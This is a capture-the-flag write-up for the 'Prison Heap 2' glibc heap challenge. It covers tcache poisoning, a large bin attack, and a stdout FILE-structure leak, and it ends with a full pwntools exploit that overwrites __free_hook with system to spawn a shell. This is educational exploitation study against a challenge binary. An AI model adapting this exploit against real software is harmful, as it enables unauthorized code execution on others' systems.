Prison Heap 2

This was the second of two amazing challenges about heap exploiting made by @javierprtd. As it is more difficult, you are expected to have a bit more of understanding about how heap works. Amazing and well know resource with different exploitation techniques: how2heap.

Changes

I noticed two major differences from the first challenge:

  • We are taken out the option of reading the content of the allocations, so getting a leak reading the fd pointer of a free chunk is no longer possible.
  • We can make up to 21 allocations instead of 11.

In this challenge is where the vulnerability of not setting a null byte at the end of our input is really important, as it allows us to perform partial overwrite.

Exploiting

An important idea is that if we have a libc pointer in the heap, we can get a chunk there.

Despite unsorted bin is not vulnerable to something like tcache poisoning or fastbin attack, which allows us to get a chunk wherever we want, we can still carry out those techniques. If we have a libc pointer, we can perform tcache poisoning to add that pointer to the tcache linked list. Say we have the libc ptr at address addr, and we double freed a chunk. The tcache bin would be: HEAD --> chunk --> chunk --> ... As chunk is located in the heap, and so is our pointer, we can partially overwrite the chunk fd pointer to point to addr, where our pointer is located. Then, addr would be a fake chunk, whose fd pointer is the libc pointer. Doing so, the tcache bin would be, HEAD --> chunk --> addr --> libc --> ..., allowing us to allocate a chunk inside libc.

However, even if we could get a chunk in __free_hook we wouldn’t know what to write, as we don’t have a leak. Let’s see what we can do.

First attempt

At first I thought there was no way of getting a leak, so I tried to solve this without it. All addresses are without ASLR, quite useful to see the offsets and distances between objects in memory. This was the idea:

  1. Free large chunk into unsorted bin. Fd and bk pointers are set with the head of the unsorted bin in libc.
  2. Allocate a smaller chunk. The large chunk is moved to the corresponding large bin and split. The first part is the small chunk we allocate, the second part is moved back to the unsorted bin. I’m not completely sure about this, but the important thing is that when the free chunk is moved to the large bin, its fd and bk pointers are set with the head of the large bin (also in libc).
  3. Partially overwrite bk pointer with a pointer to __free_hook. Bk points to the head of the large bin, which is in main arena in libc at 0x7ffff7dd0243, while __free_hook address is 0x7ffff7dd18e8. As you can see, we need to change 0243 to 18e8. As the offset is 8e8, we need to bruteforce 4 bits. Here is where we can see why we overwrite the address of the head of the large bin, and not for example the address of the head of the unsorted bin, which is 0x7ffff7dcfca0. If we had decided to overwrite this last one, we would have needed to overwrite 3 bytes and not 2, which leads to 12 bits bruteforce.
  4. Perform large bin attack to write the address of the head of the large bin into __free_hook. Now __free_hook contains a libc address.
  5. Use tcache poisoning to add __free_hook to the tcache linked list, as we saw earlier.
  6. Allocate a chunk in __free_hook and partially overwrite the address of the large bin head with system.

This last step was the problem. While the address of the head of the large bin is 0x7ffff7dd0243, the one of system was 0x7ffff7a33440. It involved bruteforcing 12 bits. With the 4 bits of step 3, that’s two bytes. We would succeed once in 65536 times. Not viable.

Second attempt

I soon realized there wasn’t any function near main arena I could call, so I started thinking how to get a leak. As we can partially overwrite a libc address and get a chunk there, we can modify anything we want near main arena. Then I discovered stdout was just after the main arena (symbol IO_2_1_stdout, as stdout is actually the pointer to it, though it is also there), and this slideshare about FILE structures came up.

FILE structures have a pointer to a vtable (array of function pointers). The vtable of stdout is also close enough, so I thought could overwrite one of its pointers so it calls one-gadget or system. I actually tried it, but then realized the vtable was read only. But there’s another interesting thing we can overwrite: the internal buffer of stdout (slide 62). Switching the last byte of stdout->_IO_write_ptr to 0xFF is enough: we are “enlarging” the buffer and making it print some of the addresses over there, successfully getting a libc leak. This doesn’t seem to work if the stdout is not set to unbuffered (_IONBF) with setvbuf, as the program does. The address of stdout->_IO_write_ptr is 0x7ffff7dd0788, which can be obtained overwriting the address of the head of the large bin, which is 0x7ffff7dd0243.

Once we get a leak, the exploitation is exactly as the first part. Final steps:

  1. Free large chunk.
  2. Allocate smaller chunk that overwrites libc pointers with the address of stdout->_IO_write_ptr. Once more, this involves bruteforcing 4 bits.
  3. Use tcache poisoning to add that pointer to the tcache linked list.
  4. Allocate a chunk in stdout->_IO_write_ptr and increment its value. Next time puts is called we’ll get a leak.
  5. Use tcache poisoning to write system address into __free_hook.
  6. Call free("/bin/sh")

Final exploit

from pwn import *

PATH = "./prison_heap_hard"
ENV = {"LD_PRELOAD":"./libc-2.27.so"}
REMOTE = False

OFFSET_LEAK = 0x3ED8C0
OFFSET_SYSTEM = 0x000000000004f440
OFFSET_FREEHOOK = 0x00000000003ed8e8

def write(what, size=None):
	if size is None:
		size = len(what)
	p.sendlineafter("3. Exit\n", "1")
	p.sendlineafter("Choose the size of prison heap", str(size))
	p.sendlineafter("to enter the prison", what)

def free(index):
	p.sendlineafter("3. Exit\n", "2")
	p.sendlineafter("for free", str(index))

context.binary = PATH
if REMOTE:
	p = remote("134.122.72.224", 13337)
else:
	p = process(PATH, env=ENV)

write("0", 0x20)   #0, for fake linked list
write("1", 0x1000) #1, will be large chunk
write("2", 0x60)   #2
# The chunk 2 will avoid consolidation when we free the large chunk,
# and will used later for writing system into free_hook.

# 1. Free large chunk (it is inserted in unsorted bin)
free(1)

# 2. Allocate smaller chunk and overwrite libc pointer
# so it points to stdout->_IO_write_ptr. 4 BITS BRUTEFORCE
write("\x88\x07", 0x20)
# this chunk is at 0x290
# unsortbin: 0x5555557602b0 (size : 0xfe0)


# 3. Tcache poisoning to add the pointer to the tcache linked list.
# We have the pointer to stdout. We'll add it to tcache linked
# so we can get it when we malloc later
free(0)
free(0)
# tcache_entry[1]: 0x5555557612a0 --> 0x5555557612a0 --> 0x5555557612a0 --> ...
write(b"\x90", 0x20)
# tcache_entry[1]: 0x5555557612a0 --> 0x555555761290 --> 0x7ffff7dd0788 (stdout->_IO_write_ptr)
# now stdout->_IO_write_ptr is in the tcache bin

# 4. Allocate a chunk in stdout->_IO_write_ptr and increment its value.
write("", 0x20)
write("", 0x20)
# tcache_entry[1](255): 0x7ffff7dd0788 (stdout->_IO_write_ptr)
write(b"\xff", 0x20) # overwriting stdout->_IO_write_ptr

# Next puts will print a leak.
leak = p.recvuntil("Prison heap created", drop=True)
leak = u64(leak[6:6+8])

LIBC = leak - OFFSET_LEAK
FREE_HOOK = LIBC + OFFSET_FREEHOOK
SYSTEM = LIBC + OFFSET_SYSTEM
log.info("LEAK: %s", hex(leak))
log.info("LIBC: %s", hex(LIBC))

write("/bin/sh\x00") # 8

# 5. Tcache poisoning to write system address into __free_hook
free(2)
free(2)
# tcache_entry[5](2): 0x5555557612a0 --> 0x5555557612a0
write(pack(FREE_HOOK), 0x60)
#tcache_entry[5](1): 0x5555557612a0 --> 0x7ffff7dd18e8 (FREE_HOOK)
write("", 0x60)
write(pack(SYSTEM), 0x60) # write system into free_hook

# 6. Call free("/bin/sh")
free(8)

p.interactive()

Leave a comment

Your email address will not be published. Required fields are marked *